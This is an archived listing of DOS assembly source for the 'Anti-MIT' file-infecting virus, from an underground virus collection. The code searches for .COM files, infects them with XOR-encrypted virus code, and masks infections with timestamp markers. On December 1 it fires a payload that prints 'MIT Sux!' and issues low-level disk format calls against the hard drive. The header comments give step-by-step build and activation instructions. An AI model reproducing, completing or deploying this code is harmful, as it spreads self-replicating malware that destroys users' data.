home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / mit.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  9.1 KB  |  316 lines

  1. ;                          **  Anti-MIT Virus **
  2.  
  3. ;       To assemble, use TASM and TLINK to create a .COM file. Next
  4.  
  5. ;    run the .COM file in the same directory of a file you want to infect.
  6.  
  7. ;    Your system may hang, but after re-booting you will notice an increase
  8.  
  9. ;    in the target files size. Now debug the newly infected file and replace
  10.  
  11. ;    the first three bytes with E8 05 00 (call to encryption). Re-write the
  12.  
  13. ;    .COM file and now you should have a running copy of the Anti-Mit virus!
  14.  
  15. ;
  16.  
  17. ;                 - Do not distribute the Anti-MIT virus for this
  18.  
  19. ;                 activity is against the law! The author will take
  20.  
  21. ;                 NO responsiblity for others.
  22.  
  23. ;                                 TEST ONLY
  24.  
  25. ;
  26.  
  27. ;                        For more info see MIT.DOX file.
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37. name    AntiMIT
  38.  
  39.     title   Anti-MIT: The original Anti-MIT virus code! 
  40.  
  41.     .radix  16
  42.  
  43. code    segment
  44.  
  45.     assume  cs:code,ds:code
  46.  
  47.     org     100
  48.  
  49.  
  50.  
  51. buffer  equ     offset 20000d                 ; Buffer
  52.  
  53. fname   equ     offset 20000d + 1eh           ; DTA - File name
  54.  
  55. ftime   equ     offset 20000d + 16h           ; DTA - File time
  56.  
  57. fsize   equ     offset 20000d + 1ah           ; DTA - File size
  58.  
  59. olddta  equ     80                            ; Old DTA area
  60.  
  61.  
  62.  
  63. start:
  64.  
  65.     jmp     main                          ; *See above*
  66.  
  67.     nop
  68.  
  69.     jmp     main                          ; Jmp to virus body
  70.  
  71.  
  72.  
  73. encrypt_val     db      0                     ; Randomized encryption value
  74.  
  75.  
  76.  
  77. decrypt:                                      ; Encrypt/decrypt engine
  78.  
  79. encrypt:                                      ; [SKISM type]
  80.  
  81.      lea        si, data
  82.  
  83.      mov        ah, encrypt_val
  84.  
  85.      jmp        fool_em                       ; Fool with the scanners
  86.  
  87.  
  88.  
  89. xor_loop:
  90.  
  91.      lodsb                                    ; ds:[si] -> al
  92.  
  93.      xor     al, ah
  94.  
  95.      stosb                                    ; al -> es:[di]
  96.  
  97.      loop    xor_loop
  98.  
  99.      mov     ah,19h                           ; Set current drive as default
  100.  
  101.      int     21h
  102.  
  103.      mov     dh,al
  104.  
  105.      mov     ah,0eh
  106.  
  107.      int     21h
  108.  
  109.      ret                
  110.  
  111.  
  112.  
  113. fool_em:
  114.  
  115.      mov        di, si
  116.  
  117.      mov        cx, stop_encrypt - data
  118.  
  119.      jmp        xor_loop
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127. data            label   byte                  ; Virus data
  128.  
  129. message         db      'MIT Sux! $'          ; The "message"
  130.  
  131. lengthp         dw      ?                     ; Length of infected file
  132.  
  133. allcom          db      '*.COM',0             ; What to search for
  134.  
  135. virus           db      '[Anti-MIT]',0        ; Virus name
  136.  
  137. author          db      'Fîrs╪StrîkΣ',0       ; Author
  138.  
  139.  
  140.  
  141. main:                                         ; Main virus code
  142.  
  143.     mov     ah,2ah                        ; Get the date
  144.  
  145.     int     21h
  146.  
  147.      
  148.  
  149.     cmp     dh,12d                        ; Month 12?
  150.  
  151.     jnz     next                          ; No
  152.  
  153.     
  154.  
  155.      
  156.  
  157.     cmp     dl,01d                        ; Day one?
  158.  
  159.     jnz     next                          ; No
  160.  
  161.     lea     dx,message                    ; Yes, set off the "bomb"
  162.  
  163.     mov     ah,09h
  164.  
  165.     int     21h
  166.  
  167.  
  168.  
  169.     mov     ah,05h
  170.  
  171.     mov     al,02h
  172.  
  173.     mov     ch,00h
  174.  
  175.     mov     dh,00h
  176.  
  177.     mov     dl,80h
  178.  
  179.     int     13h
  180.  
  181.  
  182.  
  183.     mov     ah,06h
  184.  
  185.     int     13h
  186.  
  187.  
  188.  
  189.     mov     ah,05h
  190.  
  191.     mov     dl,00h
  192.  
  193.     int     13h
  194.  
  195.  
  196.  
  197.     mov     ah,4ch                        ; Exit
  198.  
  199.     int     21h
  200.  
  201.  
  202.  
  203. next:
  204.  
  205.     mov     cx,lengthp                    ; Figure out the Jmp 
  206.  
  207.     sub     cx,eendcode-start
  208.  
  209.     mov     the_jmp,cx
  210.  
  211.  
  212.  
  213.     
  214.  
  215.  
  216.  
  217.  
  218.  
  219.     push    es                            ; Save ES
  220.  
  221.     mov     ax,3524h                      ; Get interrupt 24h handler
  222.  
  223.     int     21h                           ; and save it in errhnd
  224.  
  225.     mov     [err1],bx
  226.  
  227.     mov     [err2],es
  228.  
  229.     pop     es                            ; Restore ES
  230.  
  231.  
  232.  
  233.     mov     ax,2524h                      ; Set interrupt 24h handler
  234.  
  235.     lea     dx,handler
  236.  
  237.     int     21h
  238.  
  239.  
  240.  
  241.     xor     dx,dx                         ; Set DTA in "buffer" area
  242.  
  243.     mov     si,dx
  244.  
  245.     mov     dx,buffer
  246.  
  247.     add     dx,si                         ; Set new Disk Transfer Address
  248.  
  249.     mov     ah,1A                         ; Set DTA
  250.  
  251.     int     21
  252.  
  253.  
  254.  
  255.  
  256.  
  257. find_first:
  258.  
  259.     mov     dx,offset allcom              ; Search for '*.COM' files
  260.  
  261.     mov     cx,00000001b                  ; Normal, Write Protected
  262.  
  263.     mov     ah,4E                         ; Find First file
  264.  
  265.     int     21
  266.  
  267.     jc      pre_done                      ; Quit if none found
  268.  
  269.     jmp     check_if_ill
  270.  
  271.        
  272.  
  273. mover:                                        ; The "mover" code
  274.  
  275.     push    cs                            ; Store CS
  276.  
  277.     pop     es                            ; and move it to ES
  278.  
  279.     mov     di,0100h                      
  280.  
  281.     lea     si,eendcode                   ; Move original code to 
  282.  
  283.     add     si,the_jmp                    ; beginning
  284.  
  285.     add     si,endcode-mover
  286.  
  287.     mov     cx,eendcode-start
  288.  
  289.     rep     movsb
  290.  
  291.     mov     di,0100h                      ; Jmp to CS:[100h]
  292.  
  293.     jmp     di
  294.  
  295.  
  296.  
  297. pre_done:
  298.  
  299.     jmp     done                          ; Long jmp
  300.  
  301.  
  302.  
  303. find_next:
  304.  
  305.     mov     ah,4fh                        ; Search for next
  306.  
  307.     int     21h
  308.  
  309.     jc      pre_done
  310.  
  311.  
  312.  
  313. check_if_ill:                                 ; File infected?
  314.  
  315.     mov     ax,cs:[ftime]
  316.  
  317.     and     al,11111b                     ; Look for the 62 sec marker
  318.  
  319.     cmp     al,62d/2                      ; [Vienna type]
  320.  
  321.     jz      find_next
  322.  
  323.  
  324.  
  325.     cmp     cs:[fsize],19000d             ; Check if file larger then 
  326.  
  327.     ja      find_next                     ; 19000 bytes - if so skip
  328.  
  329.  
  330.  
  331.     cmp     cs:[fsize],500d               ; Check if file smaller then
  332.  
  333.     jb      find_next                     ; 500 bytes - if so skip
  334.  
  335.  
  336.  
  337.  
  338.  
  339. mainlp:                                       ; Write the virus
  340.  
  341.     mov     dx,fname
  342.  
  343.     mov     ah,43h                        ; Write enable
  344.  
  345.     mov     al,0
  346.  
  347.     int     21h
  348.  
  349.     mov     ah,43h
  350.  
  351.     mov     al,01h
  352.  
  353.     and     cx,11111110b
  354.  
  355.     int     21h
  356.  
  357.  
  358.  
  359.     
  360.  
  361.     mov     ax,3d02h                      ; Open file (read/write)
  362.  
  363.     int     21h
  364.  
  365.     jc      pre_done
  366.  
  367.     mov     bx,ax
  368.  
  369.  
  370.  
  371.     mov     ax,5700h                      ; Get date for file
  372.  
  373.     int     21h
  374.  
  375.     mov     [time],cx                       ; Save date info
  376.  
  377.     mov     [date],dx
  378.  
  379.  
  380.  
  381.     mov     ah,3fh                        ; Read original code into 
  382.  
  383.     mov     dx,buffer                     ; buffer (length of virus)
  384.  
  385.     mov     cx,eendcode-start
  386.  
  387.     int     21h
  388.  
  389.     jc      pre_done
  390.  
  391.     cmp     ax,eendcode-start
  392.  
  393.     jne     pre_done
  394.  
  395.  
  396.  
  397.  
  398.  
  399.     mov     ah,42h                        ; Go to end of file
  400.  
  401.     mov     al,02h
  402.  
  403.     xor     cx,cx
  404.  
  405.     xor     dx,dx
  406.  
  407.     int     21h
  408.  
  409.     jc      pre_done
  410.  
  411.     mov     cx,ax
  412.  
  413.     mov     lengthp,ax                    ; Save original program code
  414.  
  415.  
  416.  
  417.     mov     ah,40h                        ; Write "mover" code to end   
  418.  
  419.     lea     dx,mover                      ; of file
  420.  
  421.     mov     cx,endcode-mover
  422.  
  423.     int     21h
  424.  
  425.     jc      done
  426.  
  427.     cmp     ax,endcode-mover
  428.  
  429.     jne     done
  430.  
  431.  
  432.  
  433.     mov     ah,40h                        ; Write original program code 
  434.  
  435.     mov     dx,buffer                     ; to end of the file
  436.  
  437.     mov     cx,eendcode-start
  438.  
  439.     int     21h
  440.  
  441.     jc      done
  442.  
  443.     cmp     ax,eendcode-start
  444.  
  445.     jne     done
  446.  
  447.  
  448.  
  449.     mov     ah,42h                        ; Go to front of file
  450.  
  451.     mov     al,00h
  452.  
  453.     xor     cx,cx
  454.  
  455.     xor     dx,dx
  456.  
  457.     int     21h
  458.  
  459.     jc      done
  460.  
  461.     
  462.  
  463. stop_encrypt:
  464.  
  465.     mov     ah,2ch                        ; Get time
  466.  
  467.     int     21h                           
  468.  
  469.     
  470.  
  471.     mov     encrypt_val,dh                ; Use time as random encryption
  472.  
  473.     call    encrypt                       ; value
  474.  
  475.     
  476.  
  477.     mov     ah,40h                        ; Write virus code to front of
  478.  
  479.     lea     dx,start                      ; file
  480.  
  481.     mov     cx,eendcode-start
  482.  
  483.     int     21h
  484.  
  485.     jc      done
  486.  
  487.     cmp     ax,eendcode-start
  488.  
  489.     jne     done
  490.  
  491.     jmp     date_stuff
  492.  
  493.  
  494.  
  495. handler:
  496.  
  497.     mov     al,0
  498.  
  499.     iret
  500.  
  501. endp
  502.  
  503.  
  504.  
  505.  
  506.  
  507. time    dw      ?                             ; File stamp - time
  508.  
  509. date    dw      ?                             ; File stamp - date
  510.  
  511. err1    dw      ?                             ; Original error handler 
  512.  
  513. err2    dw      ?                             ; address
  514.  
  515.  
  516.  
  517. date_stuff:                                   ; Restore old file stamp
  518.  
  519.     mov     ax,5701h       
  520.  
  521.     mov     cx,[time]
  522.  
  523.     mov     dx,[date]
  524.  
  525.     and     cl,not 11111b                 ; Set seconds field to 62 secs.
  526.  
  527.     or      cl,11111b
  528.  
  529.     int     21h
  530.  
  531.     mov     ah,3eh
  532.  
  533.     int     21h
  534.  
  535.     mov     dx,olddta                     ; Restore "original" DTA
  536.  
  537.     mov     ah,1ah
  538.  
  539.     int     21h
  540.  
  541.  
  542.  
  543.     push    ds                            ; Save DS
  544.  
  545.     mov     ax,2524h                      ; Set interrupt 24h handler
  546.  
  547.     mov     dx,err1                       ; Restore saved handler
  548.  
  549.     mov     dx,err2
  550.  
  551.     mov     ds,dx
  552.  
  553.     int     21h
  554.  
  555.     pop     ds                            ; Restore DS
  556.  
  557.  
  558.  
  559. done:
  560.  
  561.     xor     cx,cx                         ; Clear registors
  562.  
  563.     xor     dx,dx
  564.  
  565.     xor     bx,bx
  566.  
  567.     xor     ax,ax
  568.  
  569.     xor     si,si
  570.  
  571. jmp_code db     0e9h                          ; Preform jmp to "mover" code
  572.  
  573. the_jmp  dw     ?
  574.  
  575.  
  576.  
  577. go:
  578.  
  579. eendcode        label          byte
  580.  
  581.  
  582.  
  583.     nop                                   ; krap
  584.  
  585.     nop
  586.  
  587.     nop
  588.  
  589.     nop
  590.  
  591.     nop
  592.  
  593.  
  594.  
  595.  
  596.  
  597.  
  598.  
  599.  
  600.  
  601. endcode         label          byte
  602.  
  603.  
  604.  
  605.  
  606.  
  607.  
  608.  
  609.  
  610.  
  611.  
  612.  
  613.  
  614.  
  615.  
  616.  
  617.  
  618.  
  619.  
  620.  
  621.  
  622.  
  623.  
  624.  
  625.  
  626.  
  627. code    ends
  628.  
  629.     end     start
  630.  
  631.